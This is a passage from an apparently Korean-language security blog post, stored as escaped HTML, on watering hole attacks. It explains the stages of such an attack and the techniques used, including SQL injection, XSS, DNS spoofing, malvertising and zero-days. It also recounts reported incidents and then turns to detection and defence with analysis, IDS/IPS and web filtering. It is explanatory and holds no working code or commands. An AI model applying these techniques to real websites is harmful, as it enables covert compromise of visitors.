탐지되기 어려운 점이 큰 특징입니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;작동 방식: 주요 단계&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;워터링 홀 공격은 대개 다음과 같은 단계로 정교하게 진행됩니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;정보 수집 (Intelligence Gathering):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격자는 우선 표적 사용자들이 어떤 웹사이트를 자주 방문하는지 파악합니다. 검색 엔진, 소셜 미디어, 업계 정보,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;사회공학 기법&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 활용하여 목표 그룹의 웹 활동 패턴을 조사합니다. 이를 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;표적 그룹이 자주 찾는 웹사이트 목록&lt;/b&gt;을 확보하게 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;취약점 분석 및 사이트 감염 (Analysis &amp;amp; Compromise):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;다음으로 공격자는 선정된 웹사이트들의 보안&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;취약점&lt;/b&gt;을 분석합니다. 사이트의 소프트웨어나 플러그인에 알려진 취약점이 있는지 찾거나,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;SQL 인젝션&lt;/b&gt;이나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;크로스사이트 스크립팅(XSS)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 기법을 이용해 웹사이트를 해킹합니다. 경우에 따라 해커는 아예 해당 사이트와 똑같이 생긴&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;악성 복제 사이트&lt;/b&gt;를 만들어놓고, 정상 사이트를 방문한 사용자를 그쪽으로 몰래 리디렉션시키는 방법도 씁니다. 이렇게 해서 공격자는 대상 웹사이트를 자기 마음대로 조작할 수 있게 만듭니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;악성 코드 심기 (Preparation):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;웹사이트를 장악한 공격자는 그 사이트에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;악성 코드&lt;/b&gt;(멀웨어)를 심어 둡니다. 구체적으로는 웹 페이지 내에 악성 스크립트나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;익스플로잇 코드&lt;/b&gt;를 삽입해 놓아, 추후 방문자가 자동으로 악성 프로그램을 다운로드하거나 실행하도록 만듭니다. 예를 들어, 공격자는 사이트에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;드라이브-바이 다운로드&lt;/b&gt;(사용자가 모르게 악성 파일이 내려받아지는 방식) 공격 코드를 넣어 둘 수 있습니다. 특히 정교한 공격의 경우 악성 코드가 오직 특정 조건(예: 특정&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IP 주소&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;대역이나 특정 국가의 사용자)에서만 작동하도록 설정하기도 합니다. 이를 통해 목표 대상 이외의 다른 방문자들에게는 악성 코드가 전달되지 않게 함으로써 보안 탐지를 피합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공격 실행 (Execution):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이제 워터링 홀이 완성되었으므로, 공격자는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;표적 사용자가 해당 웹사이트를 방문하기를 기다립니다&lt;/b&gt;. 일상적으로 사이트를 이용하던 피해자가 이 감염된 페이지에 접속하면, 앞서 심어둔 악성 코드가 실행되어 피해자의 PC나 디바이스에 악성 프로그램이 설치됩니다. 사용자는 평소처럼 신뢰하던 사이트를 접속했을 뿐이므로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;감염 사실을 알아채기 어렵고&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격자는 피해자의 시스템을 장악하거나 데이터를 유출하게 됩니다. 이처럼 최종적으로 공격자는 목표 대상 컴퓨터에 대한 접근 권한을 얻거나, 추가 악성코드를 심어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;2차 공격&lt;/b&gt;(예: 내부망 침투)을 수행하게 됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;공격자의 일반적인 전략&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;워터링 홀 공격을 수행하는 공격자들은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;다양한 해킹 기법과 전략&lt;/b&gt;을 활용하여 성공률을 높입니다. 대표적인 수법들은 다음과 같습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;웹 취약점 악용:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격자는 목표 웹사이트를 해킹하기 위해 XSS나 SQL 인젝션 등의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;코드 주입 공격&lt;/b&gt;을 사용합니다. 이를 통해 웹사이트의 콘텐츠에 몰래 악성 스크립트를 삽입하거나, 데이터베이스를 조작하여 사용자를 악성 페이지로 리디렉션합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;DNS 스푸핑:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;웹사이트 자체를 해킹하지 않고도,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;DNS 캐시 포이즈닝(DNS spoofing)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기법으로 사용자를 가짜 사이트로 유도할 수 있습니다. 이는 인터넷 주소 변조를 통해, 원래 사이트 주소로 접속한 사용자가 공격자가 준비한 악성 서버로 향하게 만드는 방법입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;멀버타이징(Malvertising):&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격자는 합법적인 광고 네트워크를 악용하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;악성 광고&lt;/b&gt;를 목표 웹사이트에 게재할 수도 있습니다. 사용자들은 평소처럼 사이트의 배너 광고를 볼 뿐이지만, 그 광고에 포함된 악성 코드로 인해 감염이 이루어질 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;드라이브-바이 다운로드:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;앞서 언급한 대로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;드라이브-바이 다운로드&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;방식으로, 사용자가 별다른 클릭이나 다운로드 동작을 하지 않아도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;방문만으로&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;악성 코드가 내려받아져 실행되도록 합니다. 주로 웹 브라우저나 플러그인의 취약점을 악용한 스크립트를 통해 이루어집니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;제로데이 취약점 활용:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;특히&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;지능형 지속 위협(APT)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;형태의 공격에서는, 당시엔 패치되지 않은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;제로데이 취약점&lt;/b&gt;을 이용하는 경우가 많습니다. 공격 대상자들이 운영체제나 브라우저를 최신 보안 상태로 유지하고 있어도 새로운 취약점을 노린 공격에는 속수무책이기 때문에,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;미공개 취약점&lt;/b&gt;을 통해 웹사이트를 감염시키거나 방문자를 해킹하는 것입니다. 이러한 맞춤형 공격 코드는 매우 정교하게 제작되므로 백신 등의 탐지를 더욱 어렵게 만듭니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조건부 공격 및 은폐:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;워터링 홀 공격자는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격 범위를 제한&lt;/b&gt;함으로써 자신의 존재를 숨기는 전략을 씁니다. 예를 들어 앞서 언급한 2012년 CFR 웹사이트 사례에서는, 악성코드가 오직&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특정 언어 설정&lt;/b&gt;의 인터넷 익스플로러(IE) 사용자에게만 실행되도록 프로그램되어 있었습니다. 이처럼 표적이 아닌 사람들에게는 악성코드가 발동하지 않게 하여, 공격이 광범위하게 드러나지 않도록 통제합니다. 또한 일부 공격자는 표적이 해당 웹사이트에 반드시 방문하도록, 미리 피싱 이메일 등을 보내&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;사이트 방문을 유도&lt;/b&gt;하는 사회공학적 책략을 추가로 사용하기도 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이러한 전략들의 공통점은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;신뢰받는 경로를 악용하여 은밀하게 악성행위를 한다는 것&lt;/b&gt;입니다. 워터링 홀로 선택된 웹사이트는 평소 사람들이 믿고 방문하는 곳이기 때문에, 공격자는 그&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;신뢰를 악용&lt;/b&gt;하여 별다른 의심 없이 피해자를 공격할 수 있습니다. 동시에 공격 대상 시스템의 보안을 정면으로 뚫는 대신&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;우회 경로&lt;/b&gt;를 이용하므로, 보안 관리자 입장에서도 공격 징후를 포착하기 어렵게 만듭니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;주요 대상 및 공격 사례&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;워터링 홀 공격은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특정 집단이나 조직&lt;/b&gt;을 노릴 때 효과적이기 때문에, 주로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;고가치 표적&lt;/b&gt;을 대상으로 발생하는 경향이 있습니다. 국가 지원 해커 조직이나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;APT&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;그룹은 정부 기관, 국방 산업, 언론 및 인권단체, 소수민족 단체 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특정 분야에 종사하는 사람들&lt;/b&gt;을 감시하거나 피해를 입히기 위해 이 수법을 활용해 왔습니다. 기업 사이버 범죄자들도 경쟁 기업이나 금융 기관의 직원들이 모이는 웹 커뮤니티, 업계 포털 사이트 등을 노려 정보를 탈취하거나 악성코드를 심는 공격을 시도한 사례가 있습니다. 아래에는 워터링 홀 기법이 사용된 몇 가지 실제&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격 사례&lt;/b&gt;를 소개합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;2012년 미국 CFR 웹사이트 감염:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;2012년 말, 미국의 한 외교 정책 연구기관인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;외교관계협의회(CFR)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;웹사이트가 워터링 홀 공격에 이용되었습니다. 공격자는 이 사이트에 마이크로소프트 IE 브라우저의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;제로데이 취약점&lt;/b&gt;을 악용한 악성코드를 심어두었고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;영어, 중국어, 한국어, 러시아어&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 일부 언어로 설정된 IE 브라우저 사용자에게만 악성 코드가 전달되도록 만들었습니다. 그 결과 해당 언어권의 방문자들만 표적이 되어 감염되었고, 이 사실은 사이트가 해킹되고 상당 시간이 지난 후에야 발견되었습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;2013년 미국 노동부 워터링 홀 공격:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;2013년에는 미국&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;노동부(DOL)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공식 웹사이트가 해커들에게 악용된 사례가 있습니다. 공격자들은 노동부 사이트의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;핵 관련 자료 페이지&lt;/b&gt;에 악성 코드를 심어 놓고, 그 페이지를 방문하는 사용자들의 정보를 탈취하려 했습니다. 이 공격으로 해당 페이지를 찾은 특정 방문자들의 시스템에 몰래 접근하여 정보를 수집하는 일이 벌어졌습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;2021년 홍콩 민주화 웹사이트 공격:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;비교적 최근인 2021년, 구글 위협분석그룹(TAG)은 홍콩의 언론사 및&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;민주화 운동 관련 웹사이트&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;방문자들을 겨냥한 대규모 워터링 홀 공격을 적발했습니다. 해커들은 이 웹사이트들에 iOS 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;애플 기기 사용자를 표적으로 한 악성코드&lt;/b&gt;를 심어두었고, 그 사이트에 접속한 사람들의 아이폰 등에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;백도어&lt;/b&gt;를 설치하여 민감 정보를 탈취하려 한 것으로 드러났습니다. 이처럼 워터링 홀 공격은 정치적으로 민감한 단체나 사회 운동가들을 감시하기 위한 수단으로도 활용되고 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 외에도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;산업 제어 시스템(ICS)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;소프트웨어의 업데이트 서버를 감염시켜 에너지&amp;middot;항공&amp;middot;방위산업 분야 기업들을 노린 사례,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;폴란드 금융감독원&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;웹 서버 해킹을 통해 다수 은행들을 공격한 사례&amp;nbsp;등 다양한 워터링 홀 공격이 보고되어 있습니다. 최근 들어서도 특정 지역 정부 웹사이트를 해킹해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;스파이웨어&lt;/b&gt;를 배포하거나, 신뢰받는 사이트에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;사용자 실행을 유도하는 형태의 악성 파일&lt;/b&gt;을 올려두는 등 기법이 진화하고 있습니다. 즉, 워터링 홀 공격은 정부&amp;middot;기업부터 소프트웨어 공급망, 사회단체에 이르기까지&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;광범위한 분야&lt;/b&gt;를 표적으로 지속해서 활용되고 있는 고급 공격 기법입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;워터링 홀 공격 탐지 및 방어: 도구와 모니터링 기법&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;워터링 홀 공격(watering hole attack)은 공격자가 특정 대상 집단이 자주 방문하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;신뢰받는 웹사이트를 악성으로 감염시켜&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용자를 피해자로 만드는 전략적 공격 기법입니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이러한 공격은 감염된 사이트를 방문한 사용자 단말기에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;드라이브-바이 다운로드&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 방법으로 악성코드를 설치하여, 결국 기업 내부망 침투에 악용됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 워터링 홀 공격은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정상적인 웹 트래픽으로 위장&lt;/b&gt;&lt;/span&gt;되어 오랜 기간 탐지되지 않고 지속될 수 있어 방어가 어렵습니다. 따라서 보안 전문가들은 다양한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;다층적 탐지 기법과 도구&lt;/b&gt;&lt;/span&gt;를 조합하여 워터링 홀 공격을 모니터링하고 차단합니다. 본 보고서에서는 정적/동적 분석, 네트워크 기반 탐지(IDS/IPS), 행위 기반 탐지, 위협 인텔리전스 연계, 엔드포인트 보안의 역할을 살펴보고, 탐지 정확도를 높이고 오탐(false positive)을 줄이기 위한 전략을 상세히 설명합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정적 분석 및 동적 분석 기법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;정적 분석 (Static Analysis)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기법은 악성으로 의심되는 코드나 파일을 실행하지 않고 분석하는 방법으로,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;서명(signature) 기반 검사&lt;/b&gt;&lt;/span&gt;와 코드 리뷰를 포함합니다. 예를 들어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;안티바이러스&lt;/b&gt;&lt;/span&gt;나 웹 게이트웨이 솔루션은 알려진 악성코드의 디지털 서명이나 악성 평판 정보를 DB와 대조함으로써 위협을 식별합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 또한 보안 분석가는 디스어셈블러/디버거를 활용한 역공학(reverse engineering)으로 악성 바이너리의 내부 동작을 추적하거나, 샘플에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;문자열 추출&lt;/b&gt;&lt;/span&gt;을 통해 내장된 명령어, 파일명, API 호출, URL 등 IOC(Indicators of Compromise)를 찾아낼 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 정적 분석은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;신속하고 안전&lt;/b&gt;&lt;/span&gt;하게 악성 패턴을 찾을 수 있으나,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;이전에 알려지지 않은 악성코드나 난독화된 코드&lt;/b&gt;&lt;/span&gt;에 대해서는 한계가 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;동적 분석 (Dynamic Analysis)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기법은 의심 파일이나 스크립트를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;격리된 샌드박스 환경에서 실제 실행&lt;/b&gt;&lt;/span&gt;하여 동작을 관찰함으로써 악성 여부를 판단하는 방법입니다. 이는 정적 서명으로 탐지되지 않는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;신종 또는 변종 악성코드&lt;/b&gt;&lt;/span&gt;도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;행위 기반 분석&lt;/b&gt;&lt;/span&gt;으로 밝혀낼 수 있다는 장점이 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 동적 분석 솔루션은 가상 머신이나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;샌드박스&lt;/b&gt;&lt;/span&gt;를 이용해 악성코드가 실행될 때 시스템에 가하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;변화나 네트워크 활동&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 모니터링합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 예를 들어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;웹 사이트 동적 분석&lt;/b&gt;&lt;/span&gt;의 경우 프록시나 보안 웹 게이트웨이가 사용자가 방문하는 웹사이트의 스크립트 동작을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;실시간으로 모니터링&lt;/b&gt;&lt;/span&gt;하여 워터링 홀 공격에 수반되는 악성 행동(예: 알려지지 않은 익스플로잇 시도, 의심 트래픽 발생)을 탐지하고 차단합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 동적 분석은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;높은 정확도&lt;/b&gt;&lt;/span&gt;를 제공하지만 시간이 걸리고 전문 도구가 필요하며, 가짜 환경을 인지하여 악성 행위를 숨기는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;샌드박스 회피 기법&lt;/b&gt;&lt;/span&gt;에도 대비해야 합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;분석 방식&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;특징&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;장단점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;정적 분석&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;파일/코드를 실행하지 않고 분석&lt;br /&gt;서명(DB) 대조, 코드 리뷰, 역공학 등을 활용&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;빠르고 안전하나 새로운 위협탐지에는 한계&lt;br /&gt;(서명 부재 시 탐지 어려움)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;동적 분석&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;격리된 환경에서 코드 실행 후 행위 모니터링&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;신종 위협도 행위기반으로 탐지 가능(정밀)&lt;br /&gt;다만 속도가 느리고 환경 우회 기법에 취약&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 기반 탐지 도구 (IDS/IPS 등)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;네트워크 기반 탐지&lt;/b&gt;&lt;/span&gt;는 워터링 홀 공격으로 인한 악성 트래픽을 네트워크 레벨에서 포착하고 차단하는 접근입니다. 대표적으로 IDS(침입 탐지 시스템)와 IPS(침입 방지 시스템)가 사용됩니다. IDS/IPS 장비는 들어오거나 나가는 트래픽의 패턴을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;서명 기반으로 검사&lt;/b&gt;&lt;/span&gt;하고, 알려진 익스플로잇 시퀀스나 악성 페이로드를 식별하면 경보를 발생하거나 차단 조치를 수행합니다. 예를 들어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;FireEye, Snort, Suricata&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 IDS 규칙에는 워터링 홀에 흔히 쓰이는 웹 익스플로잇 키트나 악성 스크립트 패턴이 포함될 수 있습니다. 또한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;이상 탐지 기능&lt;/b&gt;&lt;/span&gt;이 있는 IDS는 정상 트래픽 프로필과 비교하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;비정상적인 웹 트래픽 흐름&lt;/b&gt;&lt;/span&gt;을 탐지하기도 합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 워터링 홀의 경우 사용자가 평소 방문하던 정상 사이트로 위장하므로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;아웃바운드 트래픽 모니터링&lt;/b&gt;&lt;/span&gt;이 중요합니다. 조직 내부 사용자 PC가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;평소 접속하지 않던 도메인이나 IP와 통신&lt;/b&gt;&lt;/span&gt;하거나, 방문 직후 대량의 데이터 업로드 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;이상 행위&lt;/b&gt;&lt;/span&gt;를 보인다면 네트워크 기반 탐지 도구가 이를 경보로 포착할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;네트워크 계층 방어에는 IDS/IPS 외에도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;웹 필터링(Web Filtering)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;보안 프록시/게이트웨이&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기술이 활용됩니다. 웹 필터링 솔루션은 정책에 따라&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;악성으로 의심되는 웹사이트 접근을 차단&lt;/b&gt;&lt;/span&gt;하고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;유해한 콘텐츠나 스크립트&lt;/b&gt;&lt;/span&gt;를 걸러냅니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이는 워터링 홀로 의심되는 외부 사이트를 아예 열지 못하도록 선제 대응하는 장점이 있습니다. 예를 들어 Secure Web Gateway(SWG)는 알려진 피싱/멀웨어 사이트 목록(위협 인텔리전스 기반)과 URL 평판 정보를 바탕으로 사용자가 접속 시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;실시간 차단&lt;/b&gt;&lt;/span&gt;해버립니다. 동시에, 첨부 파일이나 다운로드되는 실행 파일에 대해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;네트워크 샌드박스&lt;/b&gt;&lt;/span&gt;를 적용하여 악성 행위가 확인되면 해당 객체를 격리함으로써 추가 감염을 